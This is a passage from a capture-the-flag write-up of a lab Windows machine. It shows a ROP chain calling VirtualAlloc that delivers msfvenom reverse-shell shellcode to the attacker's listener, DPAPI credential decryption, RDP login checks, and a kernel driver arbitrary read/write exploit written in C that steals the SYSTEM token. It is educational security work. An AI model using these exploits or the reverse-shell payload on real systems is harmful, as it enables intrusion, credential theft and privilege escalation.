0x0000000140005c02: mov rdx, qword ptr [rsp + 0x38]; mov r8d, 2; call 0x39d0; add rsp, 0x28; ret; 
0x0000000140001a41: mov rdx, qword ptr [rsp + 0x40]; mov rcx, qword ptr [rax]; call 0x8d98; add rsp, 0x38; ret; 
0x0000000140001b6d: mov rdx, qword ptr [rsp + 0x40]; mov rcx, qword ptr [rax]; call 0xe52c; add rsp, 0x38; ret; 
0x000000014000368f: mov rdx, r13; call rax; 
0x000000014001ee03: mov rdx, r9; call 0x1ee18; mov eax, 1; add rsp, 0x28; ret;

The second to late one could be good, but call rax is bad, as it will push a new return address onto the stack and return to this same spot and keep going. There’s a potential option in the ROPgadget output:

oxdf@hacky$ cat ropgadget.txt | grep ': mov rdx, r'
0x000000014000368f : mov rdx, r13 ; call rax
0x000000014001b993 : mov rdx, r8 ; jmp 0x14001dd7c
0x0000000140005adb : mov rdx, r8 ; jmp rax
0x0000000140013f35 : mov rdx, r9 ; jmp 0x140014028
0x000000014001b99b : mov rdx, r9 ; mov rcx, r8 ; jmp 0x14001dd84
0x0000000140019b29 : mov rdx, r9 ; mov word ptr [rbx], cx ; jmp 0x140019b58
0x0000000140005aea : mov rdx, rax ; mov r8d, r9d ; jmp r10
0x00000001400043c7 : mov rdx, rbx ; test rbx, rbx ; je 0x1400043e5 ; jmp 0x1400043be
0x000000014001a5e3 : mov rdx, rcx ; mov byte ptr [rsi], 0x30 ; jmp 0x14001a600
0x000000014000ce78 : mov rdx, rsi ; jmp 0x14000cef5

The third row moves R8 into RDX and then jmp rax. This is still more challenging than a ret, but if I can see RAX to the VirtualAlloc address, this will actually work. jmp just goes to the location, where as call will push a return value onto the stack (messing up my ROPchain).

There’s a pop rax gadget:

0x000000014000150a: pop rax; ret; 

I’ll use that to get the address of the import address table (IAT) entry for VirtualAlloc into RAX. I’ll need a gadget to get the address pointed to. This one should work:

0x000000014001547f: mov rax, qword ptr [rax]; add rsp, 0x28; ret;

It will have the side effect of jumping the stack 0x28 bytes forward, but I can just pad that with junk.

In Ghidra the address of the IAT for VirtualAlloc is at 0x140020000, or 0x20000 from the base address:

image-20250822204222455

I’ll add this code to set RAX:

pop_rax = p64(base_addr + 0x150a)
deref_rax = p64(base_addr + 0x1547f)

...[snip]...

def load_RAX_from_IAT(offset):
    payload = b""
    payload += pop_rax + p64(base_addr + offset)
    payload += deref_rax + b"X" * 0x28
    return payload

It is important that I do this after the shellcode above that stomps on RAX.

dwSize

At this point, I’ve already made a loop to load 0x1000 into R8. That value should actually work fine for dwSize. That means I just need to use the gadget from above to both load 0x1000 into RDX and then jump to VirtualAlloc:

0x0000000140005adb : mov rdx, r8 ; jmp rax

I’ll just add the gadget to the payload:

mov_rdx_r8_jmp_rax = p64(base_addr + 0x5adb)

Return to Shellcode

When this all works, now I have an executable stack and I control the return address from VirtualAlloc. I’ll push RSP to the stack:

0x000000014001becd : push rsp ; and al, 8 ; ret

Now it will return to what’s next. I’ll make a function to generate shellcode (like in Rainbow):

def generate_shellcode(LHOST, LPORT):
    msfvenom = subprocess.run(
        f"msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp -f hex sc LHOST={LHOST} LPORT={LPORT}".split(),
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
    )
    print("[*] Generating shellcode")
    print(msfvenom.stderr)
    return unhex(msfvenom.stdout)

And update my usage:

if len(sys.argv) != 4:
    print(f"usage: {sys.argv[0]} <RHOST> <LHOST> <LPORT>")
    sys.exit()

I’ll add these to my payload:

push_rsp = p64(base_addr + 0x1becd)

...[snip]...

payload += push_rsp
payload += generate_shellcode(sys.argv[2], int(sys.argv[3]))

Debug Failure

I’ll give this a run against my local instance, and it crashes without a shell. I’ll debug stepping through the ROP to find the issue. At the point where it’s about to jump to VirtualAlloc, the stack looks good:

image-20250823081021991

However, when I reach the ret at the end of VirtualAlloc, the return address is still the same, but the first two words of the shellcode have been overwritten:

image-20250823081434760

To get around this, I’ll add 0x10 to RSP and then have it return to push rsp. There’s a gadget:

0x0000000140002029: add rsp, 0x10; ret; 

In my code, this looks like:

add_rsp_0x10 = p64(base_addr + 0x2029)

...[snip]...

payload += add_rsp_0x10 + b"\x90" * 0x10
payload += push_rsp
payload += generate_shellcode(sys.argv[2], int(sys.argv[3]))

The 0x10 bytes of nops will be overwritten, but I’ll move RSP past those and return to push. Running it:

oxdf@hacky$ uv run --script exploit.py 10.0.0.202 10.0.0.201 443
[+] Opening connection to 10.0.0.202 on port 4141: Done
[+] Leaked string address: 0x7ff75a7f0660
[+] Base address: 0x7ff75a7d0000
[*] Generating shellcode
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hex file: 920 bytes

And at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.0.0.202 59176
Microsoft Windows [Version 10.0.19045.3693]
(c) Microsoft Corporation. All rights reserved.

FLARE-VM Sat 08/23/2025  8:18:50.36
C:\Users\0xdf\Desktop\reaper>

This works remotely too:

oxdf@hacky$ uv run --script exploit.py 10.129.234.65 10.10.14.79 443
[+] Opening connection to 10.129.234.65 on port 4141: Done
[+] Leaked string address: 0x7ff6cb480660
[+] Base address: 0x7ff6cb460000
[*] Generating shellcode
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hex file: 920 bytes

And returns a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.65 59310
Microsoft Windows [Version 10.0.19045.6216]
(c) Microsoft Corporation. All rights reserved.

C:\keysvc>

And I can grab user.txt:

C:\Users\keysvc\Desktop>type user.txt
ffe18953************************

I’ll switch to PowerShell as well by running powershell.

RDP

Recover Password

In C:\users\keysvc there’s a file named automation.txt:

PS C:\Users\keysvc> cat automation.txt
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000341bbb10d13d3e44aed494db4d7c707a00000000020000000000106600000001000020000000de5dc4e2b0fe4f0961781bfe57daf18002dfaf18f707c2fd22e6bdca522687ef000000000e8000000002000020000000bb15043fce50b323c82b2c877b3d35feabfda4deea2665140e62d33e6e8b4a632000000008a436f3a9597db950317a79aca0b37821b3b7f8bc4f08f7782bf476b446e70040000000a993f649dfaa7775dde9f7062c6b0d8c409de961319346bb71ff390675061b18f7486046f23bff90591816b80d5556f88732bd497e71c6ecac34aeae057d9008

This file starts with 01000000d08c9ddf0115d1118c7a00c04fc297eb, which is the “signature” for a DPAPI blob.

I’ll decrypt it:

PS C:\Users\keysvc> $secureString = Get-Content automation.txt | ConvertTo-SecureString
PS C:\Users\keysvc> $ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)
PS C:\Users\keysvc> [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ptr)
CatWinterMist10

Validate

LDAP and SMB aren’t open on the host, but I can check the creds with the keysvc user against RDP. Even if the user can’t RDP, it will still say if they are valid or not:

oxdf@hacky$ netexec rdp 10.129.234.65 -u keysvc -p CatWinterMist10
RDP         10.129.234.65   3389   REAPER           [*] Windows 10 or Windows Server 2016 Build 19041 (name:REAPER) (domain:reaper) (nla:False)
RDP         10.129.234.65   3389   REAPER           [+] reaper\keysvc:CatWinterMist10 (Pwn3d!)

In this case it says “(Pwn3d!)”, so not only do they work, but keysvc can RDP.

Connect

I’ll use xfreerdp /u:keysvc /p:CatWinterMist10 /v:10.129.234.65 +clipboard to connect and get a session:

image-20250825095615049

Shell as SYSTEM

Enumeration

Users

There’s nothing else of interest in the keysvc user’s home directory. Other than Public and Administrator, there are no other users with a home directory:

PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/25/2023   5:23 AM                Administrator
d-----         4/15/2025   7:26 PM                keysvc
d-r---         7/25/2023   4:41 AM                Public   

Public is empty, and keysvc can’t access Administrator.

System Root

There are a few non-standard directories at the system root:

PS C:\> ls

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/27/2023   9:37 AM                driver
d-----         8/15/2023  12:14 AM                ftp
d-----         7/25/2023   5:33 AM                inetpub
d-----         8/15/2023  12:09 AM                keysvc
d-----         12/7/2019   1:14 AM                PerfLogs
d-r---         4/15/2025   7:44 PM                Program Files
d-r---         7/25/2023   5:33 AM                Program Files (x86)
d-r---         7/25/2023   5:29 AM                Users
d-----         8/16/2025  12:34 PM                Windows 

ftp has the files I got over FTP earlier:

PS C:\> ls ftp

    Directory: C:\ftp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         8/15/2023  12:12 AM            262 dev_keys.txt
-a----         8/14/2023   2:53 PM         187392 dev_keysvc.exe 

inetpub is a standard IIS install, with the default page and image in \inetpub\wwwroot.

driver has a single file:

PS C:\driver> ls

    Directory: C:\driver

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/27/2023   9:12 AM           8432 reaper.sys 

It is running on Reaper:

PS C:\driver> driverquery /v | findstr reaper.sys
reaper       reaper                 reaper                 Kernel        Auto       Running    OK         TRUE        FALSE        0                 4,096       0          7/27/2023 9:12:21 AM   \??\C:\driver\reaper.sys

I’ll create an SMB share on my system and copy this onto it.

OS Version

The OS is Windows 10 Pro:

PS C:\driver> systeminfo

Host Name:                 REAPER
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          labadm
Registered Organization:   
Product ID:                00330-80112-18556-AA460
Original Install Date:     7/25/2023, 4:30:54 AM
System Boot Time:          8/23/2025, 5:38:32 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware20,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              VMware, Inc. VMW201.00V.24224532.B64.2408191502, 8/19/2024
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 3,114 MB
Virtual Memory: Max Size:  5,503 MB
Virtual Memory: Available: 4,664 MB
Virtual Memory: In Use:    839 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 13 Hotfix(s) Installed.
                           [01]: KB5056578
                           [02]: KB5028853
                           [03]: KB5011048
                           [04]: KB5015684
                           [05]: KB5020683
                           [06]: KB5026037
                           [07]: KB5033052
                           [08]: KB5063709
                           [09]: KB5014032
                           [10]: KB5016705
                           [11]: KB5028318
                           [12]: KB5054682
                           [13]: KB5063261
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft Kernel Debug Network Adapter
                                 Connection Name: Ethernet (Kernel Debugger)
                                 Status:          Hardware not present
                           [02]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.234.65
                                 [02]: fe80::64e1:bf06:483b:7efc
                                 [03]: dead:beef::e9a4:fa53:eef5:c874
                                 [04]: dead:beef::5e8f:ee29:45b0:22c0
                                 [05]: dead:beef::1c6
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

reaper.sys

main

I’ll open this in Ghidra and take a look. This is a pretty small binary.

The entry function calls FUN_1400011c8, which is the function that sets up the driver:

void FUN_1400011c8(PDRIVER_OBJECT driverObject)

{
  NTSTATUS status;
  int status1;
  undefined1 stackCanary [32];
  undefined4 versionInfo;
  undefined1 padding;
  undefined8 *deviceObject;
  undefined4 deviceName [2];
  wchar_t *deviceNameBuffer;
  undefined8 local_158;
  undefined4 symbolicLinkName [2];
  wchar_t *symbolicLinkBuffer;
  undefined4 versionInfoSize;
  longlong osVersionBuffer [35];
  ulonglong canary;
  
  canary = DAT_140003000 ^ (ulonglong)stackCanary;
  versionInfoSize = 0x114;
  driverObject->DriverUnload = DispatchCreate;
  memset(osVersionBuffer,0,(undefined1 *)0x110);
  status = RtlGetVersion(&versionInfoSize);
  if (-1 < status) {
    deviceName[0] = 0x1e001c;
    driverObject->MajorFunction[0] = DispatchClose;
    driverObject->MajorFunction[2] = DispatchClose;
    driverObject->MajorFunction[0xe] = DispatchDeviceControl;
    deviceNameBuffer = L"\\Device\\Reaper";
    deviceObject = &local_158;
    padding = 0;
    versionInfo = 0;
    status1 = IoCreateDevice(driverObject,0,deviceName,0x22);
    if (-1 < status1) {
      symbolicLinkName[0] = 0x160014;
      symbolicLinkBuffer = L"\\??\\Reaper";
      status1 = IoCreateSymbolicLink(symbolicLinkName,deviceName);
      if (status1 < 0) {
        IoDeleteDevice(local_158);
      }
    }
  }
  CheckCanary(canary ^ (ulonglong)stackCanary);
  return;
}

The important section is where the MajorFunction functions are assigned:

    driverObject->MajorFunction[0] = DispatchClose;
    driverObject->MajorFunction[2] = DispatchClose;
    driverObject->MajorFunction[0xe] = DispatchDeviceControl;

0 is IRP_MJ_CREATE, 2 is IRP_MJ_CLOSE, and 0xe is IRP_MJ_DEVICE_CONTROL, the last being the most interesting.

DispatchDeviceControl

The DispatchDeviceControl function (0x140001020) handles the ioctl calls. It gets the parameters and IOCTL number, and switches based on the IOCTL. There are three IOCTL codes defined:

image-20250825092847552
  • 0x80002003 allocates a buffer of 0x20 bytes and writes user data into it provided that the first word is a magic value of 0x6a55cc9e.
  • 0x8000200b copies eight bytes of data from a source address to a destination address, both of which are provided in the allocation call. If they are not set, it does nothing.
  • 0x80002007 frees the data structure allocated in the first call.

Effectively I have arbitrary write in the kernel using this driver.

Token Theft

Strategy

The most straight-forward path here is to steal the token from a system process and copy it into the current process, and then execute a shell. To do this, I only need to find a way to get the memory address of the token in the current thread, and the memory address of the token in a system thread.

Interacting with Driver

I actually pops the Ghidra DispatchDeviceControl decompile into ChatGPT and asked it to make me some C code to interact with it:

#include <windows.h>
#include <stdio.h>
#include <stdint.h>

#define IOCTL_SET_DATA     0x80002003
#define IOCTL_FREE_DATA    0x80002007
#define IOCTL_APPLY_THREAD 0x8000200b

// Matches what the driver expects
#pragma pack(push, 1)
struct ThreadDataInput {
    uint32_t magic;     // must be 0x6a55cc9e
    uint32_t threadId;  // target TID
    uint32_t priority;  // new priority
    uint32_t padding;   // alignment
    uint64_t ptrA;      // optional
    uint64_t ptrB;      // optional
};
#pragma pack(pop)

int main(int argc, char *argv[]) {
    if (argc < 3) {
        printf("Usage:\n");
        printf("  %s <DeviceName> <IOCTL> [args]\n", argv[0]);
        printf("\nExamples:\n");
        printf("  %s \\\\.\\MyDriver set <tid> <priority>\n", argv[0]);
        printf("  %s \\\\.\\MyDriver apply\n", argv[0]);
        printf("  %s \\\\.\\MyDriver free\n", argv[0]);
        return 1;
    }

    const char *deviceName = argv[1];
    const char *cmd = argv[2];

    HANDLE hDevice = CreateFileA(
        deviceName,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open %s: %lu\n", deviceName, GetLastError());
        return 1;
    }

    DWORD ioctlCode = 0;
    void *inBuf = NULL;
    DWORD inSize = 0;
    DWORD bytesReturned = 0;
    BOOL ok;

    if (_stricmp(cmd, "set") == 0) {
        if (argc < 5) {
            printf("[-] Usage: %s %s set <tid> <priority>\n", argv[0], deviceName);
            CloseHandle(hDevice);
            return 1;
        }
        DWORD tid = strtoul(argv[3], NULL, 0);
        DWORD prio = strtoul(argv[4], NULL, 0);

        static struct ThreadDataInput input;
        ZeroMemory(&input, sizeof(input));
        input.magic    = 0x6a55cc9e;
        input.threadId = tid;
        input.priority = prio;
        input.ptrA     = 0;
        input.ptrB     = 0;

        ioctlCode = IOCTL_SET_DATA;
        inBuf = &input;
        inSize = sizeof(input);
    }
    else if (_stricmp(cmd, "apply") == 0) {
        ioctlCode = IOCTL_APPLY_THREAD;
    }
    else if (_stricmp(cmd, "free") == 0) {
        ioctlCode = IOCTL_FREE_DATA;
    }
    else {
        printf("[-] Unknown command: %s\n", cmd);
        CloseHandle(hDevice);
        return 1;
    }

    ok = DeviceIoControl(
        hDevice,
        ioctlCode,
        inBuf, inSize,
        NULL, 0,
        &bytesReturned,
        NULL
    );

    if (!ok) {
        printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
    } else {
        printf("[+] IOCTL 0x%08lx sent successfully\n", ioctlCode);
    }

    CloseHandle(hDevice);
    return 0;
}

This is not 100% correct, but it’s close enough. It opens the device using CreateFileA, then uses that handle to interact with the driver using

It also adds:

image-20250825105955956

I’ll compile this:

oxdf@hacky$ x86_64-w64-mingw32-gcc driver_poc.c -o driver_poc

And upload it to Reaper using RDP copy / paste. It runs:

PS C:\Users\keysvc\Desktop> .\driver_poc.exe \\.\Reaper set 1234 15
[+] IOCTL 0x80002003 sent successfully
PS C:\Users\keysvc\Desktop> .\driver_poc.exe \\.\Reaper apply
[+] IOCTL 0x8000200b sent successfully
PS C:\Users\keysvc\Desktop> .\driver_poc.exe \\.\Reaper free
[+] IOCTL 0x80002007 sent successfully

Primitives

Device Handle

I’ll start a C program to exploit this driver. To interact with the driver, I’ll need a handle to the device. I’ll make a global variable hReaper that I initialize to NULL at the top of the program. Then the ReaperHandle function checks if the global is NULL. If it is, it opens the handle and sets the global. Otherwise, it returns the value in the global.

HANDLE ReaperHandle(void) {
    if (!hReaper) {
        LPCSTR filename = (LPCSTR)"\\\\.\\Reaper";

        hReaper = CreateFile(filename,
            GENERIC_READ | GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );
        if (hReaper == INVALID_HANDLE_VALUE) {
            printf("[-] Failed to get handle to device, %s: 0x%x\n", filename, GetLastError());
            exit(EXIT_FAILURE);
        }
        printf("[+] Got handle to device, %s\n");
    }
    
    return hReaper;
}

ioctl Calls

The first thing I need is functions to make the three ioctl calls. The data structure passed into these calls is needed as well, which I’ll call ReaperData:

typedef struct ReaperData {
    DWORD magic;     // must be 0x6a55cc9e
    DWORD thread_id;
    DWORD priority;
    DWORD padding;
    ULONGLONG src_addr;
    ULONGLONG dst_addr;
} ReaperData;

Just as in the code ChatGPT generated for me above, calling each ioctl is very similar. Therefore, I’ll make a MakeIoCTL function that handles the main parts of it, and then three functions that just call it:

void MakeIoCTL(DWORD ioctl, ReaperData *data, ULONG dataSize) {
    unsigned char outputBuffer[2048] = {0};
    ULONG outputLength;
    
    DeviceIoControl(
        ReaperHandle(),
        ioctl,
        (LPVOID)data,
        (ULONG)sizeof(struct ReaperData),
        outputBuffer,
        sizeof(outputBuffer),
        &outputLength,
        NULL
    );
}

void Init(ReaperData *data) {
    MakeIoCTL(IOCTL_INIT, data, sizeof(ReaperData));
}

void Copy() {
    MakeIoCTL(IOCTL_COPY, NULL, 0);
}

void Free() {
    MakeIoCTL(IOCTL_FREE, NULL, 0);
}

Arbitrary Read

With these functions in place, arbitrary read just populates the ReaperData struct passing in the target as the src address and a local buffer as the output, and then returns the value in the output:

ULONGLONG arbRead(ULONGLONG src) {
	ReaperData data;
	ULONGLONG output;

    data.magic = 0x6A55CC9E;
    data.thread_id = GetCurrentThreadId();
    data.priority = 0;
    data.padding = 0;
    data.src_addr = src;
    data.dst_addr = (ULONGLONG)&output;

    Init(&data);
    Copy();
    Free();

    return (output);
}

It’s not immediately obvious why I need an arbitrary read primitive. In theory, I just need to copy the token from a high privilege process into my current process. Finding the correct addresses for these will make use of the read primitive.

Arbitrary Write

Arbitrary write is just as simple, populating the struct with both the source and destination:

void arbWrite(ULONGLONG dst, ULONGLONG src) {
	ReaperData input;

    input.magic = 0x6A55CC9E;
    input.thread_id = GetCurrentThreadId();
    input.priority = 0;
    input.padding = 0;
    input.src_addr = src;
    input.dst_addr = dst;

    Init(&input);
    Copy();
    Free();
}

Find Token Addresses

Common Code from xct

xct, the author of this machine, has a repo on GitHub named windows-kernel-exploits, from which I’ll borrow a lot of code. The main thing I need at this point is a way to find target processes in memory, specifically to get the address of their tokens.

There is a function named GetCurrentEProcess here, which I’ll update to GetEProcessByPid:

// modified from https://github.com/xct/windows-kernel-exploits/blob/1c1f96f2274eb819c0fc36dcb479e80beef36ba4/windows-exploits/HevdPoolOverflowWin7x64.cpp#L60
eProcResult GetEProcessByPid(DWORD targetPid) {
	// find system EPROCESS & token
	ULONGLONG systemProc = getSystemEProcess();
	printf("[>] System _EPROCESS: 0x%llx\n", systemProc);

	// walk ActiveProcessLinks to find our process
	BOOL found = 0;
	ULONGLONG cProcess = systemProc;
	DWORD cPid = 0;
	ULONGLONG cTokenPtr;

	while (!found) {
		cProcess = arbRead(cProcess + 0x188); // get next entry in ActiveProcessLinks (dt _EPROCESS)
		cProcess -= 0x188; // get back to start of _EPROCESS (otherwise it points directly to next entry 0x188 offset)
		cPid = (DWORD)arbRead(cProcess + 0x180);
		cTokenPtr = arbRead(cProcess + 0x208);
		if (cPid == targetPid) {
			printf("[>] System Process: %llx (PID: %d, TOKEN_PTR: %llx)\n", cProcess, cPid, cTokenPtr);
			found = 1;
			break;
		}
	}
	if (!found) {
		printf("Could not find current process in ActiveProcessLinks\n");
		exit(-1);
	}
	static eProcResult result;
	result.eProcess = cProcess;
	result.tokenPtr = cTokenPtr;
	result.pid = cPid;
	return result;
}

I’ll note that this function relies on a function named arbRead, which is why I’ve created that function and named it that way.

There’s a ton of structs and a couple functions that I’ll need to grab from that repo as well:

  • struct eProcResult (src)
  • SystemHandleInformation and SystemHandleInformationSize (src)
  • NTSTATUS (WINAPI *fNtQuerySystemInformation) (src)
  • struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO (src)
  • struct _SYSTEM_HANDLE_INFORMATION (src)
  • getSystemEProcess (src)

Enable Kernel Debugging

With all of the pieces above, the executable will compile, but it won’t work. That’s because the offsets in the GetEProcessByPid function are not correct for this operating system. I’ll create a Windows 10 Pro VM and boot it, setting up Kernel debugging from my standard Windows VM using the following steps.

With both VMs shutdown, I’ll enable a serial port in the VM settings. For example, on the new VM to be debugged:

image-20250826103716020

The settings on the debugging machine are the same, except I’ll check “Connect to existing pipe/socket”.

I’ll boot the debugged machine and in a cmd window as administrator, run:

bcdedit /set debug on
bcdedit /set debugtype serial
bcdedit /set debugport 1
bcdedit /set baudrate 115200

I’ll reboot the VM. In the debugging VM, I’ll start WinDbg (as administrator) and File –> “Attach to kernel”. In this dialog, I’ll fill in the COM tab as follows and click OK:

image-20250826104019652

It shows waiting for a connection:

image-20250826104112024

Now I’ll need to trigger a break to get it to connect. There are many ways to do this, but I ran bcdedit /set testsigning on and rebooted.

Find Kernel Offsets

I don’t need to be in any specific context, but rather I want to look at the nt!_EPROCESS structure. The WinDBG dt command will do that:

image-20250826102945280

I need the offset to the process ID (0x440) and the link to the next process (ActiveProcessLinks, 0x448). I’ll also want the Token (0x4b8):

image-20250826103054775

I’ll update the GetEProcessByPid function to use these in the while loop.

Main

From here, I just need a main function to tie this all together. It’s very simple. Get the process for both the current process and one running as SYSTEM (PID 4 is always a good one there), and use the arbWrite function to copy the token from PID 4 to the current process. Then run a shell:

void main(void) {
	eProcResult currentProcess = GetEProcessByPid(GetCurrentProcessId());
	eProcResult systemProcess = GetEProcessByPid(4);

	arbWrite(currentProcess.eProcess + 0x4b8, systemProcess.eProcess + 0x4b8);
    system("powershell.exe");

	if (hReaper) CloseHandle(hReaper);
}

Shell

I’ll compile this in my VM using mingw:

oxdf@hacky$ x86_64-w64-mingw32-gcc reaperpriv.c -o reaperpriv.exe

I’ll copy it and paste it into the RDP session. On double-clicking, there’s a shell as system:

image-20250826103540597

And I can read root.txt:

PS C:\Users\Administrator\Desktop> cat .\root.txt
58f9ec4f************************